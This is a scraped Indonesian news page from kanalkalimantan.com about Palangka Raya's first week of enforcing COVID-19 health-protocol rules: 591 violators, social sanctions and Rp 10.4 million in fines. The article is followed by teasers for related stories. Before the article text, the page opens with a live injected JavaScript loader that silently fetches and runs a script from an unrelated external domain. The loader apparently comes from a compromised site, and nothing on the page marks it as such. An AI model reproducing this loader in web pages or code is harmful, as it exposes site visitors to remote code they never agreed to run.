(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA – Sepekan sudah Peraturan Wali Kota (Perwali) Palangka Raya nomor 26 tahun 2020 tentang penegakan disiplin protokol kesehatan Covid-19 diberlakukan.
Dari hasil rekapitulasi data Satuan Tugas (Satgas) Penanganan Covid-19 Kota Palangka Raya, tercatat 591 pelanggar terjaring razia yustisi.
Ketua Harian Satgas Penanganan Covid-19 Kota Palangka Raya, Emi Abriyani menjelaskan, dari 591 pelanggar, 484 diantaranya memilih sanksi sosial berupa membersihkan atau menyapu lingkungan.
Sedangkan sisanya 107 orang, memilih membayar sanksi administrasi denda sebesar Rp 100 ribu. Tetapi tiga orang belum transfer ke rekening kas daerah.
“Jadi total uang denda saat ini di kas daerah sebesar Rp 10.400.000,” kata Emi, di Palangka Raya, Selasa (22/9/2020).
Razia yustisi Perwali protokol kesehatan di kota Palangka Raya. Foto: ist
Emi mengakui, memang pelanggar yang memilih sanksi denda, bisa menyetor uang denda administrasi ke rekening kas daerah atau membayar secara tunai di tempat, lantaran tidak memiliki rekening.
Selama seminggu sejak diterapkan Perwali, sasaran razia yustisi dilaksanakan di sejumlah ruas jalan dan lokasi-lokasi yang menjadi tempat aktivitas masyarakat sehari-hari.
Pihaknya akan terus menegakkan Perwali protokol kesehatan, dengan razia yustisi, sehingga masyarakat disiplin menerapkannya dan menekan angka Covid-19 di Kota Palangka Raya. (kanalkalimantan.com/tri)
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.